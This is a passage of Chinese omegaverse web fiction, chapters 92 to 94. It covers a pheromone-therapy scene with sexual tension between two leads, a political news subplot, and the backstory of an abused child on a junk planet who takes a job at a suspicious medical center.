“我的意思是,原定的腺体割除手术必须立刻暂停!重新评估!”李医生斩钉截铁,“同时,那个风险极高的神经介入诱导疗法,也可能因为这一发现而有了新的应用思路和风险缓冲空间!我们需要马上为顾先生制定一套全新的、长期的动态监测方案,并且,沈先生,这套方案的核心辅助手段,就是你和顾先生之间规律、稳定、并且可能需要比平时更为深入和有针对性的信息素交互与引导!” 他顿了顿,语气郑重而充满希望:“虽然前路依然漫长,治疗方案需要反复推敲验证,顾先生的情况也随时可能反复,但这盏几乎熄灭的希望之灯,确实因为你们之间这奇迹般的匹配度,重新亮起了一丝火光,我们需要详细讨论下一步治疗方案!” “恭喜你,顾先生,这是一个奇迹。” 第92章 按照治疗方案, 顾景深在市中心公寓的某个卧室被临时改造成了一个简易的“治疗室”。 本来应该在沈之年和顾景深经常居住的别墅,但是顾景深无论如何都不愿意修改那个别墅,最后不得不寻找了一个新的地方修改。 遮光窗帘垂下, 空气净化器轻声嗡鸣。 顾景深盘腿坐在房间中央的地毯上,后颈的纱布已经拆掉,露出颜色仍显暗沉的腺体皮肤。 他双目紧闭,眉头深锁, 额角渗出细密的汗珠,呼吸也比平时粗重。 周身弥漫的柑橘味信息素不再是最初的狂暴躁动, 却呈现出一种更加危险的质感——浓烈、滚烫, 像被强行按压住的火山熔岩。 沈之年跪坐在他对面, 同样不好受。他脸色有些苍白,持续高浓度的信息素输出让他精神疲惫,太阳穴隐隐作痛。 但他必须全神贯注,将花香信息素一丝一缕地缠绕、梳理着对面那团灼热的气息。 不知不觉间,治疗已持续了三十分钟, 这已经接近当日安全时限的阈值, 沈之年的顾景深两个人之间的契合度太高,以现在顾景深的身体状况,过度的刺激顾景深腺体不会有太好的结果,所以顾景深和沈之年之间的接触现在是被严格管控的。 最开始医生判断, 两个人每天的接触时间只有五分钟, 但是治疗效果显著,不过一月,就稳步增长到了现在的30分钟。 顾景深信息素的核心紊乱指数在监测光脑上持续下降。 沈之年卸下身上监控的仪器,慢慢的凑近顾景深。 长时间的信息素浸泡,让顾景深面上泛起一股可疑的潮红, 沈之年渐渐凑近顾景深,抚摸上顾景深汗湿的额头,“怎么回事,脸都红了。” “顾先生,沈先生,请注意。”放置在床头的通话器里,传来李医生远程监测的声音,“神经反馈信号异常升高,已接近预设警戒线。严禁任何超出引导范畴的亲密接触,以防信息素交互过度深入,加剧成瘾性依赖和潜在风险。” 沈之年睫毛颤动了一下。 他清晰地感觉到,顾景深的气息越来越烫, 他们之间接触的时间太长了,空气粘稠得仿佛能拉出丝,每一寸都充满了顾景深毫不掩饰的、被精准挑起的渴望。 对面的顾景深几乎猛地睁开眼。 那双眼睛里面,布满了猩红的血丝,瞳孔深处翻涌着几乎要将人吞噬的浓重欲念。 顾景深的胸膛剧烈起伏,手臂肌肉紧绷,指节捏得发白,汗水浸湿了他额前的黑发,顺着锋利的下颌线滚落,没入衣领。 他看起来像一头被精心诱入陷阱、挣扎不脱的困兽,性感得惊人。 沈之年的心被狠狠撞了一下,他的视线在顾景深的身上逡巡了一圈又快速收回,他知道这件合体的家居服下面包裹着多么诱人的身体,他下意识的站起身,因为短暂的低血糖而微微晃了一下,整个人都摔在顾景深的怀里。 顾景深的视线立刻锁住他,喉结上下滚动一下,从喉咙深处溢出一声压抑的叹息。 叹息响在沈之年的耳边,轻轻的,羽毛一样, 沈之年却轻轻勾起了嘴角。眼珠轻轻的转了一下,灵动又狡黠。 他向下看了一眼,果不其然看到了鼓鼓囊囊的位置,但是他非但没有退后,反而向前走了半步,微微倾身,凑到顾景深耳边。 顾景深的呼吸更重。 距离近得能感受到对方滚烫的呼吸拂过自己颈侧的皮肤。 顾景深呼吸重了一下,抬起手把沈之年拦进怀里,沈之年很顺从的歪在顾景深的怀里,滚烫的,和之前的每一次都一样。 顾景深下意识抬起沈之年的脸,想在他的唇上印上一吻,但是沈之年在最后关头点住了顾景深的唇。 沈之年用只有两人能听到的气声,慢悠悠地、带着戏谑的尾音说: “顾先生,医嘱如山哦。”他故意用了疏远的称呼,指尖却轻如羽毛般,隔空点了点顾景深后颈那因情欲而微微鼓胀的腺体位置,“看得见,摸得着……但就是,不、可、以。” 他的气息带着未散尽的信息素气味,拂过顾景深敏感到极致的耳廓和腺体。 顾景深浑身剧震,猛地抬起头,看向沈之年的眼神几乎要喷出火,他牙关紧咬,下颌线绷成一条凌厉的线,仿佛下一秒理智的缰绳就会彻底绷断。 沈之年却在他爆发的前一秒,如同真正没有重量的幽灵,轻巧地、迅速地直起身,后退,拉开了安全距离。 他脸上那点狡黠的笑意还未完全收起,映在顾景深的眼眸里。 “自己……解决吧,顾总。”沈之年摆摆手,语气恢复了平日里的大部分轻松,唯有微哑的嗓音泄露出刚才的消耗,“记得记录戒断反应。我回家补充点能量,明天见。” “拍下来,发给我。” 说完,他不等顾景深有任何反应——也不敢等,生怕多留一秒,自己就会被那几乎化为实质的渴望旋涡吞没。 然后转身,拉开房门,快步走了出去,还“贴心”地反手带上了门。 门合上的轻响,在安静的室内显得格外清晰。 门内,传来一声沉重物体砸在地毯上的闷响,以及顾景深粗重得吓人、仿佛濒临窒息的喘息—— 回到沈家位于市郊的静谧别墅时,天色已近黄昏。沈之年的疲惫更深了一层,他只想快点回到自己房间,吞下营养剂,好好睡一觉。 然而,刚踏入客厅,他就察觉到一丝不同寻常的安静。通常这个时间,家里应该有些日常的响动。 沈奉月正独自坐在宽敞客厅的沙发上,背对着入口。客厅巨大的全息投影屏亮着,正在播放新闻,音量调得不高,却足够清晰。 沈之年放缓脚步,正想轻声打招呼上楼,新闻主播平稳而有力的声音钻入他的耳朵: “……最新民调显示,独立候选人沈铭的支持率在第三选区持续领先。作为星环合众国历史最悠久的家族企业之一——沈氏集团的现任家主,沈铭先生此次以‘革新经济,重塑公正’为口号,竞□□一职,引发了广泛关注与讨论。政治评论家认为,其庞大的商业背景既是优势,也可能带来关于利益冲突的质疑,但是众所周知,沈铭先生的祖父,在政坛……” 沈之年的脚步彻底顿住了,像是被钉在原地。他看向屏幕,上面正出现他那位威严、疏离、几乎常年住在新闻里的政客——沈铭的面孔。画面切换,是沈铭在竞选集会上演讲的场景,台下人群涌动。 沈奉月似乎才察觉到他的归来,缓缓转过头。他脸上没什么表情,只是用遥控器调低了新闻音量,目光落在沈之年掩饰不住疲惫的脸上。 “回来了?”沈奉月的声音平和,“治疗还顺利吗?” 沈之年张了张嘴,一时不知该先回答父亲的问题,还是先询问屏幕上那则新闻。他的目光不由自主地又瞟向屏幕,沈铭的影像已经切换,但“竞□□”几个字,还是牵着沈之年的心。 沈铭是一位传统的政客,他上位对于沈奉月来说一定不是什么好消息。 沈铭不止一次表达过认为Omega应该尽快回归家庭,可能现在的情况来说,他的上任无法真的让Omega的社会地位回退,但是至少他确信沈铭绝对不会支持沈奉月的政治主张, 在他的任期内,Omega的地位应该会停滞不前。 顾景深紊乱的信息素、治疗的危险代价、自己精疲力尽的安抚……这些刚刚还占据他全部心神的紧迫之事,忽然被这则来自更具冲击力的消息撞开了一道缝隙。 沈奉月顺着他的目光看了一眼屏幕,语气依旧没什么波澜,却仿佛洞悉了他瞬间纷乱的思绪, “看到了?风雨欲来。”他顿了顿,目光重新回到儿子脸上,“他这一步跨出去,我们怎么样还不知道呢。” 第93章 伊桑知道今天会有暴风雨。 不是天气预报说的那种——垃圾星“废墟-7”根本没有正经的气象预报。 伊桑判断天气的方式很简单:当父亲艾伯特的左肩开始隐隐作痛时, 风暴就会很快降临。 那是艾伯特年轻时在星际矿场事故中留下的旧伤,比任何气象卫星都要准确。 此刻艾伯特正坐在油腻的餐桌前,用那只布满老茧的右手揉着左肩, 左手则握着一个半空的酒瓶。 他的眉头紧锁,目光空洞地盯着墙壁上那处漏水的裂缝。那是上周他发脾气时砸出来的。 “伊桑。”他的声音沙哑,像破旧引擎的轰鸣。 “我在,爸爸。”十一岁的伊桑站在厨房角落, 手里正搅着一锅是用营养块和附近集市上买来的廉价菜叶熬成的浑浊的汤。 “汤太稀了。”艾伯特没有转头,但语气里已经透出不满。 “水加多了, 爸爸。最后一块营养块要撑到月底。”伊桑小心翼翼地说, 同时加快了搅拌的速度, 试图让汤看起来浓稠一些。 铝锅在便携式加热器上冒着气泡,蒸腾的热气在昏暗的灯光下扭曲变形。 他们住的这个“房子”实际上是一艘废弃货船的货舱,被改造成了勉强可居住的空间。 墙壁是拼接的金属板,几处接缝处用废旧胶带勉强封住,但仍挡不住垃圾星夜晚刺骨的寒气。唯一的光源来自天花板垂下的那盏老式灯泡,发出昏黄而不稳定的光。 星际时代飞速发展的科技仿佛把这里忘记了, 这里的很多东西,放在其他星球都足以被放进怀旧陈列馆,虽然没有什么价值,但是好歹是一份难得的纪念 艾伯特没再说话, 只是举起酒瓶又灌了一大口。那是一种本地酿造的劣质酒精饮料, 被称为“矿工之泪”,气味刺鼻,价格便宜,足以让饮用者暂时忘记生活在废墟-7意味着什么。 伊桑偷偷观察着父亲。 艾伯特·霍克曾是个Alpha——至少档案上是这么写的。 但是哪怕是Aloha在垃圾星球也没有什么特别的用武之地,不过是比其他人的身体条件好一些, 能多干一点苦力。 如今,年近五十的艾伯特已经没有了Alpha标志性的强大气场,只有被生活摧残的疲惫身躯和那双时而清醒时而混沌的眼睛。 汤煮好了。伊桑小心地将它盛进两个破旧的碗里,端到桌上。他自己的那一份明显更稀,几乎看不到菜叶。 艾伯特放下酒瓶,盯着面前的食物,眉头皱得更紧了,“就这个?” “这个月的工作不好找,爸爸。”伊桑低声说,不敢看父亲的眼睛,“工厂那边说暂时不需要童工” “童工?你十一岁了,矿场上不知道有多少这么大的孩子!”艾伯特突然提高音量,拳头砸在金属桌面上,发出巨响。 伊桑本能地缩了缩身子,但强迫自己没有后退。经验告诉他,表现出恐惧的下一秒,拳头就会打在他的脸上。 “对不起,爸爸。明天我会再去集市看看,也许能找到些零活。” 艾伯特盯着儿子看了几秒,然后颓然低下头,开始默默喝汤。 伊桑松了口气,小口喝着自己碗里稀薄的汤水。 但艾伯特喝了三口汤后,又拿起了酒瓶。这次他喝得更猛,仿佛要把什么不好的东西冲下去。伊桑知道,当父亲这样喝酒时,事情往往会朝糟糕的方向发展。 果然,十分钟后,艾伯特推开了几乎没怎么动的汤碗。 “你长得真像你低贱的母亲?”他突兀地问道,声音很轻,伊桑没有听清。 “像谁,爸爸?” “像你那个下贱的妈!”艾伯特突然暴怒起来,猛地站起身,椅子在金属地板上划出刺耳的声音。“他妈的!” 这故事伊桑不知道听过多少遍,是艾伯特不小心流落到垃圾星之后,他母亲在艾伯特易感期的时候引诱了他,还生下了伊桑。 这是艾伯特醉酒时常有的质问。伊桑只知道每次父亲提起这件事,情绪就会变得极不稳定。有时候他会陷入忧郁的沉默,有时候会像现在这样暴怒。 “对不起,爸爸。”伊桑机械地重复着,这是他在这种情况下能说的唯一的话。 “对不起?对不起有什么用?”艾伯特摇晃着走近,高大的身影在昏黄的灯光下投出扭曲的影子。“你知道我的Omega有多美吗?像天使一样。这都让你那个下贱的妈毁了,我不得不抚养你一个在垃圾星长大的小废物。” 伊桑低下头,看着自己因营养不良而纤细的手腕,看着指甲缝里洗不掉的污垢。 他不知道长辈的纠葛,但每次父亲这样说,他都会感到一种莫名的愧疚——仿佛他存在的本身就是一种错误。 艾伯特越说越激动,酒精让他的话语变得含糊不清,但其中的愤怒却越来越清晰。“我失去了他我失去了一切而你在这里,提醒我我有多失败” 他伸手抓住了伊桑的衣领。那只手很大,因为多年体力劳动而布满老茧,此刻正不受控制地颤抖着。伊桑能闻到父亲身上浓重的酒气,混合着金属和汗水的气味。 “看着我!”艾伯特吼道,强迫儿子抬头,“看着我!” 伊桑被迫直视父亲充血的眼睛。在那双眼睛里,他看到了痛苦、愤怒,也看到了眼神空洞的自己,还是没躲过。 然后第一拳落了下来。 伊桑已经习惯了疼痛。在废墟-7,疼痛就像空气一样无处不在。 “废物没用的东西”艾伯特一边打一边喃喃自语,不知道是在说伊桑还是自己。 伊桑蜷缩在地上,护住头和腹部。这是他在无数次挨打中学到的姿势。 他的眼角瞥到了墙角的那个小金属箱——父亲从不让他碰的东西。 突然,一个想法在伊桑疼痛混乱的脑海中闪过。那个箱子父亲喝醉时看着里面的东西哭泣有时甚至会变得平静 也许是求生本能,也许是某种直觉,当艾伯特抓住他的头发,准备把他拽起来时,伊桑做了个大胆的决定。 “爸爸那个箱子”他艰难地说,嘴角有血丝渗出,“那个有天使的箱子” 艾伯特的动作突然停住了。 “什么?”他的声音变得很奇怪,像是从很远的地方传来。 “天使”伊桑重复道,他的声音微弱但清晰,“那个美丽的天使” 艾伯特松开了手,摇晃着后退了两步。他盯着伊桑看了几秒,然后转身,摇摇晃晃地走向墙角的金属箱。 伊桑躺在地上,喘着粗气,疼痛让他的心跳加速。 他不知道箱子里有什么,只是曾偷听到父亲醉酒时提到“天使”这个词。 这是个冒险的赌博——如果猜错了,可能会让父亲更加愤怒。 艾伯特打开了箱子。 因为角度关系,伊桑看不到里面的东西,但他能看到父亲的背影突然僵住了。那宽厚的肩膀开始轻微颤抖,然后传来了压抑的抽泣声。 艾伯特在箱子前跪了很久。当他终于站起来,转身看向伊桑时,眼中的怒火已经消失,取而代之的是深深的疲惫和悲伤。 “去睡觉。”他说,声音嘶哑,“明天明天我会去找工作。” 他没有道歉——他从来不会道歉—— 伊桑艰难地从地上爬起来,一瘸一拐地走向自己用废旧隔热材料隔出的小角落。 躺在那张简陋的床上,他竖起耳朵听着外面的动静。艾伯特没有回到餐桌,而是坐在箱子前的地板上,手里拿着什么东西,低声说着什么。 那个“天使”是什么?伊桑在黑暗中睁大眼睛思考。为什么提到他,父亲就会停止暴力? 这个问题困扰了他一整夜。 而答案,在三天后才揭晓。 那天的风暴来得比预期更早。 伊桑幸运地帮一个商人搬运货物,得到了半块营养块的报酬。 刚从集市回来,就感觉到空气中的紧张。艾伯特坐在桌前,面前摆着三个空酒瓶,眼神空洞。 “爸爸,我带了食物回来。”伊桑小心翼翼地展示着那半块营养块。 艾伯特没有反应,只是盯着墙壁。 伊桑开始准备晚饭,尽量不发出声音。 但当他打开储水罐时,发现里面空了——漏水裂缝又扩大了,他们本就不多的储水已经漏光。 “该死。”他低声咒骂,这是他从集市工人那里学来的词。 “你说什么?”艾伯特突然开口,声音冷得像垃圾星的夜晚。 “水漏光了,爸爸。我需要去公共水站” “所以你现在也学会骂人了?”艾伯特站起来,摇摇晃晃地走向伊桑,“我教过你要有礼貌,不是吗?我教过你要做个好人” “对不起,爸爸,我只是” “只是什么?只是和你没用的父亲一样?”艾伯特的拳头握紧了,“你知道我今天去了哪里吗?我去了矿区,求他们给我一份工作。你知道他们说什么吗?‘艾伯特,你的手抖得太厉害,操作不了精密机械了。’” 他的声音越来越高,充满了自嘲和愤怒。“我曾经是三级机械师!我能修理星际飞船的引擎!而现在现在我被垃圾星的矿场拒绝!” 伊桑后退了一步,背撞到了冰冷的金属墙。没有退路了。 “我不是废物!”艾伯特吼道,仿佛在反驳某个看不见的指责,“我不是!” 拳头落了下来。这次比以往更重,艾伯特完全失去了控制。伊桑试图躲避,但狭小的空间里无处可逃。疼痛火一样燎过他的身体,他感到嘴角撕裂,温热的血流过下巴。 在混乱中,他的目光再次投向了那个金属箱。上次提到“天使”奏效了,但这次呢?如果父亲已经完全失去理智 伊桑做出了决定。 当艾伯特暂时停手,粗重地喘息时,伊桑突然冲向墙角,猛地打开了那个金属箱。 “你在干什么?!”艾伯特暴怒地喊道。 伊桑没有回答,只是伸手在箱子里摸索。他的手指触碰到了一些杂物——几枚旧式硬币、一个断裂的怀表链、一些纸张然后,他的指尖碰到了某种光滑的表面。 是一张照片。 伊桑抓住它,转身面对父亲,将照片举在胸前,仿佛那是一面盾牌。 艾伯特正要冲过来,但当他看到照片时,整个人突然僵住了。他的眼睛瞪大,嘴唇无声地开合,像一条搁浅的鱼。 时间仿佛静止了。 伊桑这才有机会看向手中的照片。那是一张全息影像,即使经历了时间的磨损,依然能看出原来的精美。 照片上是一个年轻Omega的半身像,他有着蓝灰色长发和眼睛,笑容温柔而明亮,仿佛能驱散一切黑暗。他穿着一件样式简单的白色西装,颈间戴着一个银色的吊坠,形状像是展开的翅膀。 伊桑从未见过如此美丽的人。在垃圾星,人们因生存而面容疲惫,眼神浑浊,皮肤被尘埃和污垢覆盖。但照片上的Omega他像是来自另一个世界,一个没有灰尘、没有饥饿、没有暴力的世界。 他确实像个天使。 艾伯特慢慢地跪了下来,仿佛双腿无法再支撑他的重量。他伸出一只颤抖的手,但并没有去夺照片,只是悬在半空,像是想触碰却又不敢。 “沈奉月”他低声说,声音里充满了伊桑从未听过的温柔和痛苦。 沈奉月。这是伊桑第一次知道“天使”的名字。 “对不起”艾伯特喃喃道,这次似乎不是在跟伊桑说话,“对不起,沈奉月我又失控了” 他哭了。 伊桑仍然举着照片,不知所措。照片上的Omega——沈奉月——似乎真的有着某种神奇的力量,能让狂暴的父亲平静下来。 过了很久,艾伯特终于抬起头,用袖子擦了擦脸。“给我。”他说,声音依然沙哑,但已经没有了暴怒。 伊桑犹豫了一下,然后小心翼翼地把照片递过去。艾伯特接过照片,动作轻柔得像是捧着易碎的珍宝。他凝视着照片上的面孔,眼神复杂得让伊桑无法解读。 “他是谁,爸爸?”伊桑鼓起勇气问道。 艾伯特没有立刻回答。他坐在地上,背靠着金属墙,仍然盯着照片。 “他是我的一切。”最后他说,声音很轻,几乎要被外面的风声淹没,“也是我失去的一切。” 那晚,艾伯特没有再多说什么。但他也没有再打伊桑。相反,他把照片放回金属箱,然后默默地煮了两人份的汤——用了他们最后的储备水。 从那天起,伊桑发现了一个保护自己的方法。当父亲开始喝酒,伊桑会偷偷取出那张照片,放在自己口袋里。如果暴力开始,他就会拿出照片。每次都有用。每次艾伯特看到沈奉月的面孔,都会停止暴力。 伊桑开始相信,沈奉月真的是一个天使,一个在远方守护着他的天使,伊桑轻轻摩梭那张照片,相片里面的全息影像也适当的对他露出了微笑,伊桑的呼吸瞬间一窒。 夜晚,当他躺在床上,听着外面永恒的风声和父亲的鼾声,他会想象沈奉月的故事。 也许他是某个遥远星球的公主,因为某种原因不得不离开父亲。也许他正在某个美丽的地方,看着星空,思念着他们。 也许是一个老师,有一天就会突然出现在他的星球—— 废墟-7的冬天不是地球上那种有飘雪和节日的季节。在这个偏离主星的垃圾星球,“冬天”意味着轨道位置使阳光更加稀薄,意味着平均温度降至零下四十度,意味着那些勉强维持生命的设施更容易失效。 这一年的冬天,特别寒冷,伊桑走出门,积雪已经掩盖住半扇门,想要出门只能想办法清出一条路 。 被冻死的人越来越多,有时候走在街上就有几个冻硬了的尸体扔在路边,有时候真让人奇怪,每年死这么多人,这个垃圾星上的人竟然还没有死绝。 艾伯特的情况也越来越糟。 他的饮酒量增加,清醒的时间减少。即使在清醒时,他也常常陷入长时间的沉默,眼神空洞地望着某个地方。 工作机会几乎为零——他的手抖得太厉害,连最简单的焊接都无法完成。 他们主要依靠伊桑在集市上打零工的收入,以及偶尔从废弃机械中淘换出还能卖的零件。 直到那一天。 伊桑记得很清楚,因为那天是他从废料场找到一本破旧儿童识字书的一周年。艾伯特在相对清醒的时候教他认字,那是少数温馨的回忆之一。为了纪念,伊桑用攒下的零钱买了两块不那么劣质的合成肉排,想给父亲一个惊喜。 他不爱艾伯特,但是不爱他能够爱谁呢?什么是爱? 但当他推开货舱的门时,发现家里空无一人。 “爸爸?你去哪里了?” 艾伯特没有回答。他拉开门,刺骨的寒风瞬间灌进货舱。外面,废墟-7的夜晚已经降临,温度正在急剧下降。 那一晚上艾伯特没有回来。 当第一缕灰色的晨光透过窗户时,伊桑听到了脚步声。不是艾伯特的沉重步伐,而是轻快得多的脚步,然后是敲门声。 “伊桑?你在里面吗?” 是玛拉,他们的邻居,一个女性Omega,独自带着两个孩子生活。她有时会分享食物,尤其是对伊桑表现出特别的关心。 伊桑用尽最后的力气拍打门板。“玛拉阿姨!我在家。” 几分钟后,门打开时,玛拉倒吸了一口冷气。 货舱内一片狼藉,而伊桑蜷缩在门边。 “阿姨,你看到我爸爸了么?” “我很抱歉,伊桑。”他轻声说,把男孩搂进怀里,“他在废料堆那边已经走了。” 伊桑耳边一片嗡鸣,他没想过艾伯特会死,在垃圾星,一个没有保护者的未成年孩子,通常也是活不长久的。 艾伯特·霍克的葬礼很简单,如果那能算葬礼的话。在废墟-7,没有正式的墓园。人们会把死者埋在废料场边缘,立一块简单的金属板作为标记。参加葬礼的只有玛拉、他的两个孩子,以及两个曾和艾伯特一起在矿场工作过的老人。 伊桑站在新翻的土堆前,手里紧握着那张沈奉月的照片。玛拉曾建议把照片和艾伯特一起埋葬,但伊桑拒绝了。 这是他的护身符,是他的天使。 “他是个好人,在清醒的时候。”一个老人说,拍了拍伊桑的肩膀,“生活对他太残酷了。” 伊桑点点头,说不出话。 艾伯特算好人么,伊桑不知道,他觉得应该不算。 葬礼后,玛拉带伊桑回他家吃了一顿简单的饭。她是垃圾星难得的好人,这个时候还愿意把他带回家里,伊桑很珍惜这点难得的善意。 她的住所比艾伯特的货舱稍好一些,至少不漏风。 “你可以暂时和我们住,”玛拉说,递给伊桑一杯热水,“等你找到自己的出路。” 伊桑感激地点点头。但他知道不能长期依赖玛拉的善意——她自己也勉强养活两个孩子,没有额外的善意能够给一个邻居家的孩子。 随后的几周,伊桑努力适应没有父亲的生活。他继续在集市打零工,修理小机械,做任何能挣到信用点的工作。夜晚,他睡在玛拉家地板上的旧垫子上,听着她孩子们均匀的呼吸声。 他该怎么办呢,他这样的未成年,没有成年人抚养在垃圾星是活不下来的。 虽然这里是垃圾星,但至少明面上是遵守星环合众国的法律的,这些法律上看起来是形同虚设,但是会被有心人利用,他我未成年,就不能被合法雇佣,身后没有成年人,不给报酬的可能性很大。 他活不下去。 有时,他会拿出沈奉月的照片,凝视着那张美丽的脸。 他是谁?他真的是父亲曾经的Omega妻子吗?如果是,他现在在哪里?为什么从未出现? 这些问题在伊桑脑海中盘旋,但没有答案。在废墟-7,过去是一种奢侈品,未来则是不确定的迷雾。生存是唯一的优先级。 三个月后,玛拉带着好消息回家。 “伊桑,我找到一份适合你的工作!”他兴奋地说,眼睛发亮,“在新区,一个新建的医疗中心需要助手。他们提供食宿,还有培训机会!” 伊桑警惕地看着他。在垃圾星,好得不像真的机会通常确实不是真的。 “医疗中心?我没有任何医疗经验。” “他们愿意培训!他们说特别愿意给年轻人机会。”玛拉坐在他旁边,握住他的手,“听着,我知道你担心,但这可能是你离开这里的机会。医疗中心的工作相对干净安全,而且如果你表现出色,他们甚至可能推荐你去主星的培训项目。” 主星。这个词在废墟-7的人们口中有着神话般的分量。那意味着干净的水、充足的食物、温暖的住所一个真正的生活。 “为什么他们选择我?”伊桑问,这是他最大的疑问。 玛拉犹豫了一下,然后笑了。“也许因为你看起来聪明?或者因为他们看了你的基本档案?我不知道,伊桑,但这是一个机会。你应该抓住它。” 伊桑思考着。他已经在玛拉家住了三个月,虽然他从未抱怨,但他能感觉到资源的紧张。而且,他确实需要一份稳定的工作,一个未来的可能性。 “好吧,”他最后说,“我愿意试试。” 玛拉的笑容更加灿烂了。“太好了!我已经帮你约了明天的面试。他们甚至派车来接——想象一下,专车来接你!” 第94章 这确实不寻常。在废墟-7, 几乎没有人享受专车接送的待遇。 但伊桑选择相信玛拉,毕竟她一直对自己很好,更何况其实他也没有别的选择了。 那天晚上, 伊桑收拾了自己少得可怜的物品:几件衣服、一些工具、那本破旧的识字书,还有沈奉月的照片。他把照片小心地包在一块干净的布中,放进内衣口袋,紧贴着胸口。无论发生什么, 他都要保留这个与过去最后的联系。 第二天,一辆略显陈旧但保养得不错的悬浮车准时出现在玛拉家外, 其实在这里悬浮车是没有用的, 多好的车也只能在地面上走。 但是在垃圾星能够有一辆组装好的, 能跑的悬浮车也是一种身份的象征。 司机从车上下来,身上甚至还穿了一身有一点不得体的西装。 是一个面无表情的Beta男性。 “伊桑?”他确认道。 伊桑点点头,背起自己的小包。 玛拉拥抱了他。“祝你好运,孩子,这是你的机会。” “谢谢你,玛拉阿姨, 谢谢你为我做的一切。” 伊桑上了车,透过车窗向玛拉和他的孩子们挥手告别。悬浮车平稳地开始,沿着废墟-7坑洼不平的道路向新区驶去。 新区是废墟-7相对较新的区域,这里的建筑更整洁, 街道更干净, 甚至有一些绿色的植物——虽然是人工培育的耐辐射品种。 至少这里有一片单独为建筑开设的区域,看起来算是一个社区了。 伊桑之前的住所就是在垃圾堆里一个房子,甚至还是用砖瓦搭建的,这可是古蓝星才会选择的建筑材料。 医疗中心是一栋三层小楼,但是刷了白墙, 就格外的醒目,总比砖瓦建的好,至少不漏风,在废墟-7灰暗的背景下显得格外醒目。 伊桑被带进一个简洁的接待室,一个穿着白大褂的中年女性Beta接待了他。 “伊桑?我是莱利医生。”他微笑着说,但伊桑注意到他的眼睛没有笑意,“我们很高兴你能来。玛拉对你评价很高。” “谢谢,医生。我很感激这个机会。” 莱利医生点点头,递给他一份电子板。“这是一些基本表格,需要你填写。然后我们会做一个简单的体检,确保你适合医疗工作。” 伊桑接过电子板,开始填写。问题很常规:姓名、年龄、出生地、既往病史然后他看到了一个问题: “第二性别:Alpha Beta Omega 未分化” 伊桑停顿了。他从未正式测试过第二性别。在垃圾星,除非有明显特征,否则人们很少关心这个。他记得父亲是Alpha,虽然是一个衰落的Alpha。至于他自己他从未有过Alpha的强烈特征,也没有Omega的周期性敏感。他猜测自己可能是Beta,或者未分化。 他勾选了“未分化”,然后继续填写。 体检在一个干净明亮的房间进行。莱利医生测量了他的身高、体重、血压等基本指标,然后抽了一小管血。 “我们需要做几个测试,”他解释说,“确保你没有传染性疾病,也确认你的生理状况适合工作。” 伊桑配合着,尽管他感到一丝不安。整个过程太正式、太专业了,与废墟-7的粗糙现实格格不入。 体检后,他被带到一个休息室等待结果。房间里有水和一些营养棒,伊桑犹豫了一下,然后拿了一根——他已经习惯了不放过任何食物机会—— 一小时后,莱利医生放下手中的报告,摘下眼镜,揉了揉鼻梁。 他的目光落在忐忑不安的伊桑身上,带着一丝不易察觉的遗憾。 “伊桑·霍克,”他的声音恢复了公事公办的冷静,与初次见面时的热情截然不同,“你的体检结果出来了。长期营养不良,腺体发育迟缓,信息素水平几乎检测不到,骨骼密度低于标准值……综合来看,你的生理状况不符合我们任何培养项目的要求。” 他将数据板转向一边,意思很明显。“很遗憾,我们无法录用你。你可以走了。” 走?走去哪里? 伊桑仿佛被无形的重锤击中,耳边嗡鸣。 回到玛拉阿姨家,她给他找一个工作已经是仁至义尽,怎么可能继续养着他······ 回到废弃货舱,独自面对寒冬和饥饿?或者流落街头,成为废墟-7无数游魂般野孩子中的一个? 恐惧瞬间攥紧了他的心脏,他猛地站起来,因为眩晕晃了一下,双手死死抓住桌沿,指尖用力到发白。 “不……医生,求求您!”他的声音发紧,“求您给我一个机会!任何机会都行!我什么都能做,我不怕苦不怕累!打扫、搬运、跑腿……我什么都肯干!” 莱利医生微微蹙眉,“我们这里是医疗研究中心,不是慈善收容所,你的身体状况连基础劳动都可能无法胜任。” “我能!我真的能!”伊桑急切地向前倾身,几乎要扑到桌上,“我在废墟-7长大,我从小就在干活!我力气很大,我手脚麻利,我学东西也快……医生,求您了,如果失去这份工作,我……我真的会饿死的,外面……外面太冷了……” 最后一句话,他几乎是呜咽着说出来的。 一个没有家人的孩子,未来的结果是可以想见的。 莱利医生沉默了。他审视着眼前这个少年:苍白瘦削,衣物破旧,这张脸……确实可惜了······ 片刻后,他几不可闻地叹了口气, “鉴于你的特殊情况,以及……态度诚恳,”他的语气依旧平淡,“我可以破例给你一个临时岗位。后勤支援部缺一个跑腿和搬运的临时工,包最低限度食宿,微薄薪酬。工作很辛苦,规矩很多,需要绝对服从和沉默。你能做到吗?” “能!我能!谢谢医生!谢谢您!”伊桑连连点头,泪水几乎要夺眶而出,被他强行忍了回去。现在,哪怕是签署卖身契,他也会毫不犹豫。 “记住,”莱利医生敲了敲桌面,眼神严厉,“在这里,不该去的地方不去,不该问的事情不问,不该看的东西不看。做好你的本职工作,或许还能多留一段时间。否则……” “我明白!我一定遵守规矩!”伊桑用力保证。 就这样,伊桑成了最不起眼的跑腿小弟。他的“宿舍”是地下一层的一个狭窄储藏间改造的,仅容一床一柜,但比货舱温暖干燥。食物是标准的工作餐,虽不丰盛,却能果腹。薪酬确实微薄,但至少是个指望。 他的工作内容琐碎繁重:在各个科室和仓库之间穿梭,递送文件、标本盒;搬运成箱的医疗耗材、消毒液、包装严密的药剂箱;有时,还需要和另一个沉默寡言的杂工一起,将一个个沉重异常、覆盖着厚实黑布的金属笼子,运往遥远的地方。 现在的生活伊桑已经不能再满意了,有饭吃,有觉睡,一起上班的人虽然不算是和善,但是也绝对不凶恶,至少不打他,有时候还能和他开开玩笑。 伊桑第一次感受到安稳的生活。 “我们健壮的小家伙,今天打算搬几箱东西。”伊桑人小,但是意外的力气不小,来的第一天为了表现狠狠的搬了一个成人才能够完成的工作量,这些人全都大吃一惊。 “搬的比大哥多一点。”伊桑很擅长观察,他知道现在应该开一个玩笑,逗他们开心。 果然,他的话音一落,几个大哥全都哈哈哈大笑起来。 他正在说笑,那边又搬过来一个大黑箱子。 刚才的气氛太好,伊桑没忍住还是开口问,“大哥,这个箱子里面是什么?” 刚才还面色轻松的杂工突然神情严肃起来。 “不想死就管好你的眼睛和嘴巴。”杂工低声警告,声音粗嘎,“这里的东西,不是你该好奇的。” 伊桑立刻噤若寒蝉,他不能失去这小小的安身之所,为了缓解刚才尴尬,伊桑主动搬起来那个大箱子, 箱子有点重,伊桑的脸立刻就憋红了,但是还是硬撑着,“大哥,你歇一歇,我自己过去。” 这箱子搬起来有些异样。 伊桑按照指示将它搬到车子上,正准备离开,箱子内部突然传来一声闷响——像是用身体撞击内壁的声音。 伊桑的脚步顿住了。 